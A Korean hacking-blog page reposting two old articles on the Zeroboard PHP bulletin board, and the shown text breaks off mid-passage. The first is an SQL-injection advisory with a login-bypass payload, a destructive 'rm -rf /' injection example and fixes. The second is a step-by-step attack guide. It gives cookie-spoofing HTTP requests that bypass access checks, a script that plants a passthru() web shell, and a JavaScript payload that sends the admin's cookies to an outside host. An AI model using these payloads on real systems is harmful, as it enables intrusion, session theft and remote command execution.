'Hacking/web'에 해당되는 글 8건

  1. 2009.01.12 인젝션 원리 큰내용은 없지만 도움되실거 같아서 올림니다
  2. 2009.01.12 쿠키해킹 개념
  3. 2009.01.12 토마토 님께서 3탄까지 올려서 뒤부분 올립니다. ^^*
  4. 2009.01.12 Web Hacking 4탄 쿠키취약점
  5. 2009.01.12 [쿠키의 모든 것]
  6. 2009.01.12 [웹 모의해킹법 1-4]
  7. 2009.01.12 IP Fragmentation and Teardrop Attack
  8. 2009.01.12 IP Fragmentation을 이용한 공격기술들

인젝션 원리 큰내용은 없지만 도움되실거 같아서 올림니다

|
출처 : 해커스뉴스
chaos@ecrobot.com
한상진 - komnaru@ecrobot.com
Source (주) 이씨로봇 연구소
Application magic_quotes_gpc 옵션이 Off인 상태에서 작동되는 DBMS연동 PHP 프로그램.
Risk Critical
Reference http://lab.ecrobot.com/advisories/ec2002080801
Last modified 2002/08/09
문의 info@ecrobot.com



차례

0x00. Overview
0x01. 해당 환경
0x02. DBMS를 연동하는 프로그램의 일반적인 구조
0x03. 공격이 이루어지는 원리
0x04. Exploit: 제로보드의 예
0x05. 해결책
0x06. ';' 문자를 이용한 SQL statement 조작
0x07. 결론


0x00. Overview

최근 웹 프로그래밍은 대부분 자료의 효율적인 저장 및 검색을 위해 DBMS를 거의 필수적으로 이용하는 추세이다. 웹 프로그래밍은 보통 PHP, JSP, ASP 등의 스크립트 언어를 이용하여 DBMS를 연동하여 프로그래밍을 하게 된다. 이러한 프로그램에서 생기는 문제점으로서, 잘못된 값을 웹 프로그램으로 넘겨줌으로써, 부적절한 SQL Query를 실행시키도록 할 수가 있다.
이 공격을 이용하면 불법적인 데이터베이스 query를 이용하여 인증을 위해 사용하는 SQL query 등을 비정상적으로 만들어서, 아이디나 암호가 맞지 않음에도 불구하고 인증을 정상적으로 한 것처럼 만들 수가 있다.
현재 대부분의 웹 기반 공개 게시판과 수많은 사이트들이 이 문제점에 노출되어 있는 것으로 확인되었다.
이 문서는 DBMS를 연동하는 웹 프로그램이 가질 수 있는 치명적인 문제점과 그 해결책에 대해 다룬다. 주로 PHP의 경우를 다루지만 다른 언어에서도 얼마든지 있을 수 있는 문제이다.


0x01. 해당 환경

이 문제점은 플랫폼과는 무관하다. 다만 PHP로 DBMS를 연동하는 경우, PHP의 설정에서 magic_quotes_gpc 옵션이 Off로 되어 있는 경우에 이 문제가 발생한다. 다른 프로그래밍 언어의 경우에도 사용자로부터 넘겨받은 데이터에 포함된 따옴표에 자동으로 escape처리가 되지 않는 경우에는 이 문제가 발생할 수 있다. 참고로 PHP 4.x 버전에 포함된 2개의 php 설정 파일 중, PHP 측에서 권장하는 설정 파일인 php.ini-recommend에는 성능상의 이유로 이 옵션이 기본적으로 Off로 설정되어 있어서 이 공격을 당할 수 있다.


0x02. DBMS를 연동하는 프로그램의 일반적인 구조

웹 프로그램은 HTML에서 form tag를 이용하여 사용자로부터 데이터를 입력 받고, GET이나 POST method를 이용하여 프로그램으로 데이터를 넘겨주면 프로그램에서 적절한 DBMS query를 통해 데이터 입출력을 하고 그 결과를 다시 사용자에게 보여주는 형태를 가지고 있다.
예로 ID와 암호를 입력받아 인증을 해주는 간단한 PHP 스크립트는 다음과 같은 형태를 가지고 있을 수 있다. 아래의 Login.html은 form tag를 이용하여 사용자로부터 id와 password를 입력받는 form을 출력하는 파일이고, login.php는 사용자가 입력한 데이터를 바탕으로 DBMS에 query를 하여 인증을 처리하는 프로그램이다.

- login.html
<html>
<body>
<form name="form1" method="post" action="login.php">
   ID:
   <input name="id" type="text" id="id">
   <br>
   Password:
   <input name="passwd" type="text" id="passwd">
   <br>
   <input type="submit" name="Submit" value="Submit">
</form>
</body>
</html>

- login.php
<?php
$MySQL = mysql_connect("localhost", "user", "password");
mysql_select_db("database");

$result = mysql_query("SELECT id, passwd FROM user_table WHERE id='{$_POST['id']}' AND passwd='{$_POST['passwd']}'");
$data = mysql_fetch_assoc($result);

if (($data['id'] == $_POST['id']) && ($data['passwd'] == $_POST['passwd'])) {
   /* 인증을 위해 세션 등을 설정 */
}

else {
   /* 인증에 실패한 경우, 에러 출력 등의 처리 */
}
?>

위의 형태는 아주 일반적인 형태의 웹 프로그램으로 대부분의 프로그램이 이런 식으로 사용자로부터 받은 데이터를 이용하여 SQL query를 하고, 그 결과에 따라 특정한 처리를 하게 된다. 여기서는 사용자로부터 "id"와 "passwd"라는 2개의 데이터를 POST 방식으로 받아서, 프로그램 내에서는 $_POST['ID'], $_POST['passwd']와 같은 식으로 SQL query에 이용하고 있다(PHP에서는 이런 식으로 처리한다).
일반적인 경우에는 위와 같은 코드는 별 문제가 되지 않고 잘 작동할 것이다. 그러나 만약 php.ini 설정 파일에서 magic_quotes_gpc 옵션이 Off로 되어 있다면 아주 치명적인 문제점이 있다.


0x03. 공격이 이루어지는 원리

PHP의 설정 파일(php.ini) 중, magic_quotes_gpc 옵션이 하는 일은 사용자가 웹에서 입력한 데이터를 GET, POST으로 프로그램으로 넘겨줄 때나, 쿠키를 처리할 때에 ', ", \, 널 문자의 앞에 \를 하나 더 붙여 주어서 이러한 문자가 특수한 의미로 사용되지 않도록 escape시켜주는 것이다.

위에서 예로 든 코드 중 사용자가 입력한 id와 passwd라는 변수값을 SQL query에 넣어서 DBMS로 query를 하는 부분은 다음과 같다.

$result = mysql_query("SELECT id, passwd FROM user_table WHERE id='{$_POST['id']}' AND passwd='{$_POST['passwd']}'");

만약 사용자가 id로 chaos를, 비밀번호로도 chaos를 넣었다면 위의 코드는 사실상 다음과 같이 변환될 것이다.

$result = mysql_query("SELECT id, passwd FROM user_table WHERE id='chaos' AND passwd='chaos'");

원래 코드에 있었던 $_POST['id']와 $_POST['passwd'] 부분이 각각 chaos로 대체되면서 위와 같은 결과가 되는 것이다. 바로 이 부분에 헛점이 있다.

만약 사용자가 id로 chaos와 같은 정상적인 값을 넣지 않고 a' or 1<2 or 'a'<'b라고 입력했다고 가정해보자. php.ini에서 magic_quotes_gpc 옵션이 On으로 되어 있을 경우에 원래 코드는 다음과 같이 변환될 것이다.

$result = mysql_query("SELECT id, passwd FROM user_table WHERE id='a\' or 1<2 or \'a\'<\'b' AND passwd='chaos'");

이런 경우에는 저런 희한한 아이디가 있을리도 없고 암호가 맞을리도 없기 때문에 이 query는 아무 row도 반환하지 않고 그 결과 인증에 실패하게 된다.

그러나 이번에는 php.ini에서 magic_quotes_gpc 옵션이 Off로 되어 있는 경우를 가정해 보자. php.ini-recommend 설정 파일을 그대로 이용하는 경우가 바로 이 경우이다. 그러면 원래 코드는 다음과 같이 변환될 것이다.

$result = mysql_query("SELECT id, passwd FROM user_table WHERE id='a' or 1<2 or 'a'<'b' AND passwd='chaos'");

결론부터 얘기하자면 위의 SQL 문에서 WHERE clause는 항상 true이고, 모든 row를 반환하게 된다. 그렇게 되면 첫번째로 반환되는 row의 정보를 기반으로 로그인이 수행되게 된다. 왜 이 WHERE clause가 항상 true인가? 그것은 logical AND 연산이 logical OR 연산보다 우선순위가 높기 때문이다. 언뜻 보기에 위의 WHERE clause는 상당히 confusing해 보인다. 그러나 사실은 전혀 헷갈릴 것이 없이 매우 명확한 논리적 연산이다. 위의 SQL 문을 우선순위에 따라 단계적으로 괄호를 쳐보면 다음과 같다.

1: SELECT id, passwd FROM user_table WHERE id='a' or 1<2 or ('a'<'b' AND passwd='chaos')
2: SELECT id, passwd FROM user_table WHERE (id='a' or 1<2) or ('a'<'b' AND passwd='chaos')

1단계에서는 OR 연산보다 AND 연산이 우선순위가 높기 때문에 AND 쪽에 괄호를 쳤다. 그리고 나서 나머지 OR는 우선순위가 같은데, 이런 경우에는 앞에 있는 것이 더욱 우선순위가 높기 때문에 앞의 OR를 괄호로 묶었다. 이 상태에서 보면 앞의 괄호는 항상 true이다. "1<2" 연산 때문이다. 뒤에 괄호가 설사 false를 반환한다고 하더라도 이 두개의 결과가 or로 연결되었기 때문에 뒤의 괄호의 결과는 중요하지 않다. 이 WHERE clause는 항상 true인 것이다.

웹상의 로그인 form에 ID 등을 입력할 때 이런 식으로 ID를 교묘히 입력하면 SQL query 문을 비정상적으로 만들어서 아이디, 암호를 전혀 몰라도 아무 아이디로나 로그인이 가능하도록 할 수도 있고, 또한 아이디만 안다면 아이디만 적절히 지정하여 암호 없이 로그인을 통과할 수도 있다. 물론 대상 테이블 구조를 잘 알고 있다면 그 이상의 조작도 가능하다.


0x04. Exploit: 제로보드의 예

리눅스에서 인기있는 공개형 게시판 중 제로보드가 있다. 이 제로보드의 경우를 예로 들어, 이 공격을 실제로 테스트해 보겠다. 테스트 환경은 PHP 4.2.2(설정 파일로 php.ini-recommend 사용), 제로보드 버전 4.1 pl2이다.



위와 화면이 제로보드의 관리자 로그인 화면이다. 여기서 위와 같이 a' or 1<2 or 'a'<'b를 아이디 대신 입력하였다. 제로보드의 경우, 로그인을 체크하는 프로그램은 login_check.php이고 이 파일을 열어보면 인증을 하는 SQL query는 다음과 같이 적혀 있다.

$result = mysql_query("select * from $member_table where user_id='$user_id' and password=password('$password')") or error(mysql_error());

이런 경우에 아이디를 a' or 1<2 or 'a'<'b로 입력하고 암호는 아무것이나 입력하면 위의 SQL 문은 다음과 같이 변환된다.

select * from $member_table where user_id='a' or 1<2 or 'a'<'b' and password=password('asdfasdf');

이 SQL 문의 WHERE clause는 항상 true이며, 모든 row를 반환한다. 이런 경우에 맨 처음 반환되는 row에 의해 인증이 처리되도록 제로보드 프로그램이 만들어져 있다. 보통 게시판을 설치하면 관리자 아이디를 가장 먼저 만들게 되며, 그런 이유로 대부분 모든 row를 정렬없이 검색했을 때 관리자 아이디가 제일 먼저 반환되게 된다. 따라서 관리자로 로그인이 되는 것이다. 혹은 level=1인 row를 명시적으로 뽑아낼 수도 있을 것이다.

다음은 위와 같은 식으로 로그인을 한 결과이다.



여기서는 관리자 페이지만 테스트를 해보았으나, 일반 사용자 계정으로도 얼마든지 불법적인 로그인이 가능하다. 그런 경우에는 아이디만 지정하고 비밀번호는 아무것이나 적어도 통과시킬 수 있다. 또한 이 문제는 제로보드만이 가지고 있는 문제는 아니다.


0x05. 해결책

php.ini 설정에서 magic_quotes_gpc = On으로 설정하면 안전하다. 그러나 PHP 측에서는 performance 향상을 위해 이 옵션을 Off로 설정하도록 권장하고 있다. 또한 현재 PHP에서 권장하는 설정 파일에도 이 옵션이 기본적으로 Off로 되어 있다.

이 옵션이 Off로 되어 있는 상태로 프로그램을 작동시키고 싶다면 DBMS로 query를 전송하기 전에, SQL query statement를 만들기 위해 사용되는 변수들에 따옴표 등이 있는가를 확실히 체크하여 이 문자들을 escape시켜주도록 해야 한다.

한 예로, PHP에서 MySQL을 연동하는 경우를 위해 mysql_escape_string()이라는 함수를 제공한다. 이 함수는 따옴표와 같이 잘못된 MySQL query를 유발할 수 있는 문자에 대해 escape 처리를 해준다. 따라서 MySQL을 사용하는 제로보드의 경우 login_check.php 파일 앞부분을 다음과 같이 고치면 이 문제를 피할 수 있다.

$user_id = mysql_escape_string(trim($user_id));
$password = mysql_escape_string(trim($password));

위의 코드는 magic_quotes_gpc 옵션이 Off로 되어 있는 경우에만 사용해야 정상적으로 작동한다. magic_quotes_gpc 옵션이 On인 경우에는 이미 escape된 문자열에 또 escape 처리를 하게 되기 때문에 비정상적으로 작동하게 된다. 어느 경우에나 작동하도록 고치려면 get_magic_quotes_gpc()라는 함수를 이용하면 될 것이다.

오라클의 경우에는 ' 문자를 ''로 대체한 후에 SQL query를 작성하도록 하면 될 것이다.

제로보드의 경우, 윗 부분만 고쳤다고 해서 완전히 안전하다고 할 수는 없을 것이다. 다른 SQL query를 사용하는 수많은 부분에서 모두 잠재적인 위험이 있기 때문이다. 결국은 모든 게시판의 개발자 측에서 조치를 취해주는 것이 가장 바람직할 것이다.


0x06. ';' 문자를 이용한 SQL statement 조작

한번 더 생각해 보면, ID 등을 입력할 때에 아얘 ; DROP TABLE user_table; 등과 같이 입력해서 완전히 독립적인 SQL 문도 실행시킬 수 있지않을까 하고 생각될 수도 있다. 그러나 이 점은 안심해도 된다. PHP에서 MySQL로 query를 전송할 때에 ';' 문자가 포함되어 있으며 에러를 낸다.

0x07. 결론

PHP 언어가 버전 4.x 대로 넘어오면서 php.ini-recommend라는 설정 파일에 magic_quotes_gpc 옵션이 기본적으로 Off로 되어 있기 때문에, 기존의 설정대로라면 아무 문제없이 사용되던 게시판 프로그램 등이 보안 위험에 처하게 될 수 있다. 현재 만들어져 있는 많은 게시판 프로그램들이 PHP에서 자동으로 escape 처리를 해 줄것이라는 가정 하에 만들어졌기 때문에 이것이 더욱 위험한 것이다. 사실 이런 비슷한 유형의 문제는 예전에 perl로 웹 프로그래밍을 하던 시절부터 있던 문제였다. 다만 지금까지 PHP에서는 기본적으로 자동으로 특수 문자를 escape시켜주는 기능이 있기 때문에 보안 이슈가 되지 못했을 뿐이다.

또한 이 문제는 웹 프로그램에만 한정해서 생각할 문제는 아니다. C 언어로 system() 함수를 이용할 때에나 Perl 언어에서 `command`; 형식으로 다른 프로그램을 호출해서 사용할 때에도 항상 신중해야 한다.

만약 sendmail 프로그램을 호출하여 편지를 발송해주는 프로그램을 Perl이나 C 언어로 작성할 때에는 ; 문자를 조심해야 한다. 왜냐하면 만약 사용자가 이메일로 chaos@ecrobot.com; rm -rf / 이렇게 입력했다면 매우 심각한 문제를 가져올 수 있기 때문이다. 이런 경우에 sendmail chaos@ecrobot.com; rm -rf /과 같은 명령어가 쉘에서 실행되는 것이다.

'Hacking > web' 카테고리의 다른 글

쿠키해킹 개념  (0) 2009.01.12
토마토 님께서 3탄까지 올려서 뒤부분 올립니다. ^^*  (0) 2009.01.12
Web Hacking 4탄 쿠키취약점  (0) 2009.01.12
[쿠키의 모든 것]  (0) 2009.01.12
[웹 모의해킹법 1-4]  (0) 2009.01.12
And

쿠키해킹 개념

|
Web 에서 많이 쓰이는 Cookie 에 관한 내용이다.
Cookie 란 무엇인가? Web Language 에서 Cookie 는 여러가지에 유용하게 쓰인다.
Cookie 는 Client Computer 에 저장되는 것인데, CGI Program 에서는 이 Cookie 를
이용하여 좀 더 편리하고 간편한 CGI 를 짤 수도 있다. 예를 들어 Web Board 에서
각 Page 마다 인증이 필요한 경우도 있다. 뭐 admin 만 Access 할 수 있다던지
하는 Page 일 경우에 말이다. 이럴 경우 매 Page 의 Head 부분에 Client Computer
에서 Cookie 를 받아와 Access 하려는 사용자가 권한이 되는지 안되는지 알 수
있게끔 Cookie 가 사용될 수도 있다.

여기에서는 한때 Issue 가 됐던 Cookie Sniffing 과 더불어 Cookie Spoofing,
Cookie 사용시 잘못된 알고리즘 등을 알아볼 것이다. 실제로 존재하는 CGI Program
인 Zeroboard 4.0.x 버전을 이용하겠다. 이 버그는 필자가 발견한 버그로, 요즘의
버전에는 Patch 가 되었다.

zeroboard 는 PHP 로 만들어져 있으며 DATABASE 는 MySQL 을 사용하고 있다.

문제가 되는 부분은 zeroboard 에서 cookie 인증을 할때 잘못된 알고리즘을 사용
하기 때문이다.

문제가 되는 주요 소스는 zeroboard 에서 lib.php 이다.

1 function member_info()
2 {
3 global $HTTP_COOKIE_VARS, $member_table, $now_table;
4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid];
5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password];
6
7 // 우선 쿠키가 존재할때;;
8 if($cookie_userid&&$cookie_password)
9 {
10 // 접속 테이블에도 있는지를 검사;;
11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
12 user_id='$cookie_userid'"));
13 // 접속테이블에도있으면 값을 갖고 옴;;
14 if($check[0])
15 {
16 //다시 쿠키를 구움;;
17 setcookie("zetyxboard_userid",$cookie_userid,0,"/");
18 setcookie("zetyxboard_password",$cookie_password,0,"/");
19 mysql_query("update $now_table set logtime='".time()."' where
20 user_id='$cookie_userid'");
21 $member=mysql_fetch_array(mysql_query("select * from $member_table where
22 user_id='$cookie_userid' and password='$cookie_password'"));
23 }
24 else
25 {
26 setcookie("zetyxboard_userid","",0,"/");
27 setcookie("zetyxboard_password","",0,"/");
28 $member[level]=10;
29 }
30 }
31 else $member[level]=10;
32 return $member;
33 }

이 함수는 zeroboard lib.php 의 원본 소스중 이다. zeroboard 는 게시판에
가입한 멤버를 LEVEL 별로 설정할수 있는 등 커뮤니티 기능도 있다. 회원이
게시판을 이용할때 멤버에 대한 데이터를 가져오는 함수가 바로 이 member_info
함수이다.

첫번째 라인은 member_info 의 함수 정의이다. 3 번째 라인은 HTTP_COOKIE_VARS,
member_table, now_table 을 전역 변수로 설정해놓았고 4 번째 라인에서 cookie_userid
를 HTTP_COOKIE_VARS 의 zetyxboard_userid 로 설정하였다. 마찬가지로 5 번째
라인에서는 cookie_password 를 HTTP_COOKIE_VARS 의 zetyxboard_password 로
설정하였다.

HTTP_COOKIE_VARS 는 client (즉 사용자) 에서 전달해주는 cookie 값을 담아놓는
변수이다.

zetyxboard_userid 나 zetyxboard_password 같은 cookie 설정은 사용자가 login
페이지를 통해서 login 을 할때 설정이 된다.

cookie 설정 역시 lib.php 파일에서 check_login 함수에서 이루어진다.

1 /////////////////////////////////////////////////////////////////////////
2 // 로그인 시키는 부분
3 /////////////////////////////////////////////////////////////////////////
4 function check_login($user_id,$password)
5 {
6 global $connect, $member_table, $now_table, $id;
7 $check=mysql_fetch_array(mysql_query("select * from $member_table where
8 user_id='$user_id' and password=password('$password')"));
9 if($check[no])
10 {
11 $password=mysql_fetch_array(mysql_query("select password('$password')"));
12 setcookie("zetyxboard_userid",$user_id,0,"/");
13 setcookie("zetyxboard_password",$password[0],0,"/");
14
15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table
16 where user_id='$user_id'"));
17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."'
18 where user_id='$user_id'");
19 else mysql_query("insert into $now_table (user_id,group_no,logtime)
20 values ('$user_id','$check[group_no]','".time()."')");
21
22 return 1;
23 }
24 else Error("로그인을 실패하였습니다.");
25 }

7 번째 라인은 사용자가 전달한 id 와, password 값으로 member_table 에 실제로
존재하는 사용자인지 확인한다. 만약 올바른 사용자라면 check_login 함수는
client 에게 (보통 웹브라우저를 말합니다.) setcookie 함수를 이용하여 cookie를
설정하여 준다. zetyxboard_userid 와 zetyxboard_password 가 cookie 이다.

그리고 15 번째 줄부터 게시판에 현재 접속된 사용자의 ID 를 담아놓는 now_table
에 ID 를 update 를 하거나 추가를 한다. (만약 사용자가 정해진 시간동안 아무
런 페이지도 읽지 않거나, logout 을 하면 now_table 에서 사용자의 ID 가 삭제
됩니다. 그렇게 되면 login 이 안된 상태가 된다.)

다시 취약점의 근원이 되는 member_info 함수로 돌아가보자. member_info 함수는
이 사용자가 정당한 사용자인지 검사를 하는 기능도 있다. 첫번째로 사용자가
zetyxboard_userid 와 zetyxboard_password 쿠키가 있는지 확인한다. 이 확인은
8 번째 줄에서 한다. 그리고 또 한번의 확인으로 zeroboard 에서 사용하는 now_
table 에도 zetyxboard_userid 값이 담겨있는지 확인한다. 만약에 접속테이블에
도 사용자의 ID 가 있다면 이 사용자는 올바른 사용자이다.

하지만 여기에서 문제가 발생한다. 첫번째 확인에서 zetyxboard_userid 와 zetyx
board_password 쿠키는 사용자가 임의로 만들어서 보낼 수 있고, 두번째는 접속 테
이블에도 있는지 검사를 할때 zetyxboard_userid 만 갖고 체크를 하기 때문에
zetyxboard_password 가 정확하지 않더라도 상관이 없다. 그래서 해커가
zetyxboard_userid 와 zetyxboard_password 쿠키를 임의로 만들고, 현재 접속이 되어
있는 사용자의 ID 로 zetyxboard_userid 를 설정한다면 member_info 함수에서 해커는
올바른 사용자가 될 수 있다.

여기까지의 방법으로 우리는 접근할 수 없는 게시판과, 게시물을 읽을수가 있다.
(접근할 수 없는 경우는 사용자의 레벨과 접근하려는 게시판의 허용 레벨이
안 맞기 때문이다.) 왜냐하면 member_info 함수에서 21~22 번 줄을 보자.
member_table 에서 zetyxboard_userid 와 zetyxboard_password 가 담긴 데이터를
찾고 그 결과를 member 변수에 담는다. 만약 올바른 사용자라면 member 변수에는
사용자의 LEVEL 이나 이름, ID, PASSWORD 가 담길것이다. 하지만 해커에게는
LEVEL, ID, 이름, PASSWORD 같은 것이 아닌 빈 값이 담기게 된다. 이유는 member
_table 에는 zetyxboard_userid 와 같은 데이터는 있어도 zetyxboard_password 도
같은 데이터는 없기 때문이다.

member 에 빈값이 담기기 때문에 해커는 PHP 에서 해당 LEVEL 이 되는지 안되는지
검사를 하는 부분을 통과할 수 있다. 그 부분을 살펴보도록 하자.

먼저 zboard.php 에서 특정 id 의 게시판에 접근할때 사용권한을 어떻게 체크
하는지 보면

zboard.php

1 if($setup[grant_list]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");

이렇다. 조건식을 살펴보자. $setup[grant_list] 는 각 게시판에 설정
된 접근 허용 LEVEL 과 비슷한 것이다. 만약 $member[level] 이 $setup[grant_
list] 값보다 크다면 접근이 허용되지 않으므로 2~4 번째의 ERROR 메세지가 뜨게
된다.
(zeroboard 에서는 LEVEL 이 낮을수록 실제로는 높은 걸로 인식한다. 두번째
조건식인 !$is_admin 는 만약 로그인한 사용자가 admin 이면 통과한다는 것을
의미한다.)

앞에서 말했듯이 해커는 member 에 빈값이 담기게 된다. 빈값은 0 과 같다.
그러면 조건식은 이렇게 될 것이다.

if($setup[grant_list]<0&&!$is_admin)

어떤 레벨이라도 0 보다 낮을수는 없을 것이다. 이와 같은 방법으로 해커는 사용권한을
체크하는 PHP 알고리즘을 통과하고 허용하지 않는 게시물이나 게시판에 접근을
할 수 있게 된다.

만약에 secret 라는 id 의 게시판이 있다고 하고, 실제로 어떻게 사용권한 체크를
통과하고 게시판을 읽을 수 있는지 알아보자.

1 telnet targetip 80
2 get
http://targetip/zboard/zboard.php?id=secret HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

결과 :

secret 게시판

15 번 승진님 안녕하세요................ 방문객 2005/06/26
14 번 여기 좋군요.... 나그네 2004/06/26
13 번 여기 뭐 이래요?? 지나가는이 2003/06/26
12 번 저는 말이에요.. 해커지망생 2002/06/26
..........
..........

1 번 라인은 targetip 의 웹서버인 80 번 포트로 접속을 하는 것이다. 2 번 라인
은 zboard.php 의 인수로 id=secret 를 주어서 secret 라는 게시판을 읽어들이겠다
고 알린것이고 3 번 라인은 Cookie 값을 첨부한 것이다. 여기서 zetyxboard_
password 는 아무 값이나 넣어줘도 된다.

이와 비슷한 방법으로 한 가지 더 경우를 보자. 게시물의 목록이 아닌 직접
게시물을 읽는 방법이다. view.php 에서의 사용 권한 체크 루틴을 보자.

view.php

1 if($setup[grant_view]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");

view.php 의 인자로 id 와 no 가 들어가는데 id 는 해당 게시판의 id 를 뜻하고
no 는 해당 게시판의 글 번호를 뜻한다.

위에서도 역시 마찬가지로 member 는 빈값, 즉 0 이니 조건식을 이상 없이
통과할 수 있을 것다.

그럼 실제로 어떻게 사용권한 체크를 통과하고 게시물을 읽을 수 있는지 알아
보자. 여기서 id 는 secret 이고 글번호는 444 라고 하자.

1 telnet targetip 80
2 get
http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

결과 :

444 번 글

이름 : 이승진

제목 : 전 이승진이랑께롱~
본문 : 케케케~.. 음.. 할말이 없군..

2 번 라인은 view.php 스크립트에 secret 를 id 로 줬고 글 번호 444 를 요청하였
다. 그리고 3 번 라인에서 Cookie 값을 첨부하였다.

주의할 점은 zetyxboard_password 의 값은 임의로 넣어줘도 되지만 비어있어서는
안된다.

게시판을 읽거나 게시물을 읽는 방법 말고도 다른 여러 가지 방법이 있는데 여기서
한 가지 방법을 더 알아보겠다. trace.php 라는 스크립트는 파일명 그대로
서버에 설치된 zeroboard 와 관련된 것들을 추적해 주는 스크립트이다. 이 스크
립트 역시 사용 권한을 체크하여 admin 만이 사용할 수 있게 해놓았지만 member에
빈 값이 들어가는 것을 이용하여 통과할 수 있다.

가령 beist 라는 사람이 글 쓴 것들에 대해서 보고 싶다는 주어진 검색식으로
추적을 시작하면 beist 의 IP 와 어떤 게시판에다 글을 썼는지 그런 정보들이
나오게 된다.

trace.php 에서는 어떤 식으로 사용 권한 체크를 하는지 알아보자.

trace.php 소스 설명 공격 설명

1 $member=member_info();
2 if($member[is_admin]>1||$member[level]>1)
3 Error("최고 관리자만이 사용할수 있습니다");

1 번 라인에서는 member_info 를 불러오고 그 리턴값을 $member 에 저장한다.
2 번 라인의 조건식은 만약 admin 이 아니라면 3 번 라인에서 Error 를 출력하도록
한다.

trace.php 의 실제 이용방법을 알아보자.

1 telnet targetip 80
2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=이승진
HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=아무거나;

결과 :

test1 게시판

[kekek] test (2001-12-05 21:40:04 / beist-ip)
[kekek] tet (2001-12-05 21:42:25 / beist-ip)
[kekek] asdf (2001-12-05 21:44:40 / beist-ip)
[kekek] asdf (2001-12-05 21:46:23 / beist-ip)
[kekek] vvvvv (2001-12-05 21:47:00 / beist-ip)

2 번라인에서는 keykind[0]=name 을 주어서 keyword 검색을 이름으로 하겠다고
전하고 이름에 이승진을 넣은 것이다.

keykind 의 종류는 다음과 같다.

keykind[0]=name
keykind[1]=email
keykind[2]=ip
keykind[3]=subject
keykind[4]=memo

위와 같은 keykind 로 검색할수 있고, keyword 에는 검색할 내용만 적으면 된다.
예를 들어 keykind[1]=email 로 지정해두었다면 keyword 에
beist@hanmail.net
이라고 적으면 된다.

하지만 이 방법으로는 게시판을 보거나 게시물을 추적할 수 있지만 명령어를 실행
하지는 못한다. 웹에서 해커의 궁극적인 목표는 명령어 실행이지 않은가?

이제부터 명령어 실행의 버그들에 대해서 알아보겠다. zeroboard 에서는 admin
메뉴에서 header 와 footer 에 (게시판의 머리말과 꼬리말 정도이다.) admin 이
원하는 특정 파일을 지정을 할 수가 있다. 보통은 인사말이나 특정 페이지를
같이 넣고 싶을때 header 와 footer 를 사용하지만 cracker 는 이 것을 이용하여서
명령어 실행을 할 수 있다. (header 와 footer 의 파일은 zboard.php 에서
include 합니다. 즉 zboard.php 파일이 웹에서 읽어질때 head 와 foot 에 include
한 파일을 뿌려주는 것이다.)

먼저 제로보드의 특정 자료실에 악의적인 파일을 하나 올린다.

<?
system("echo -n \" <? passthru(\$\" > imnotj.php");
system("echo -n \"cmd); ?>\" >> imnotj.php");

echo "<font size=5>keke";
?>

<? passthru($cmd); ?>

이 소스의 기능은 imnotj.php 라는 악의적인 스크립트를 하나 생성한다. imnotj.
php 에 담기는 내용은 <? passthru($cmd); ?> 가 될 것이다. imnotj.php 의
기능은 서버에서 해커가 원하는 특정 명령어를 실행할 수 있게끔 된 소스이다.

자료를 올릴 때 제로보드의 필터링에 걸리면 안될것이다? 제로보드는 php, html, php3
같은 확장자의 파일을 못 올리게 필터링을 한다. 그래서 위의 코드가 담긴 확장자를
txt 로 저장하고 서버에 올리자. (txt 를 필터링하는 자료실은 아무데도 없을것이다)
굳이 txt 확장자가 아닌 zip 이나 jpg 같은 확장자도 상관은 없다.

만약 test.txt 라는 파일을 올렸다면 서버 상에서 /webdirectory/zboard/data/test.
txt 라는 곳에 위치할 것이다. (webdirectory 는 가상으로 만들어 낸 것이며 실제
로는 /home/beist/public_html 정도가 나올 것이다.)

그리고 admin 메뉴에서 header (혹은 footer) 에 /webdirectory/zboard/data/test.
txt 라고 지정을 하면 zboard.php 에서는 test.txt 를 include 할 것이다. 위와
같은 코드를 include 하였으니 웹에서 zboard.php 파일을 열때 imnotj.php 라는
파일이 생성될 것이다.

그렇다면 admin 메뉴에는 어떻게 들어갈 것인가? admin 메뉴는 말 그대로 admin 만
들어갈 수 있다. admin 암호가 없으면 못들어간다는 이야기이다. 그래서 우리는
admin 암호를 알아내야 한다. 쿠키 스니핑을 이용해야겠다. 하지만 zero
board 에서는 password 를 암호화해서 저장하기 때문에 쿠키 스니핑으로 암호를
빼온다고 해도 login 페이지에서 암호를 입력할 수가 없다. (암호화된 문자열을
crack 하여서 원래의 암호 문자열을 얻을 수도 있겠지만 그 방법은 너무 오래걸리고
가능성도 희박한 방법이다. 암호가 쉽지 않은한)

그래서 우리는 쿠키스니핑으로 암호를 빼오고, login 페이지에 암호를 넣는 것이
아니라 실제 admin 페이지에 직접적으로 Cookie 값을 전달해야 한다.

어떤 식으로 admin 의 password 를 빼올 수 있는 지 살펴보자.

자바 스크립트를 써서 쿠키를 빼올 것이다. 자바 스크립트를 게시판이나 쪽지에
쓰면 되는데 여기에선 쪽지를 이용하는 방법을 사용하겠다. zeroboard 의 쪽지
기능을 이용하여 admin 에게 쪽지를 보낸다. html 사용에 check 를 하고..

javascript 로 쿠키를 빼오는 스크립트

-----------------------------------------------------------------------------

1 <script language=javascript>
2 window.open("http://beist.org/test.php?cook="+document.cookie);
3 </script>
4 HELLO ADMIN!

-----------------------------------------------------------------------------

1 번째 라인은 javascript 를 사용할 것이라고 선언을 하는 것이고 2 번째 라인은
http://beist.org/test.php 의 스크립트를 웹브라우저의 document.cookie 를 인수로
여는 것이다. 보통 CGI 는 다음과 같은 방식으로 인수를 전달한다.

sample CGI script

echo.php

<? echo "hello $insu"; ?>

위의 echo.php 는 $insu 라는 변수를 출력해주는 스크립트이다. 웹브라우저에서
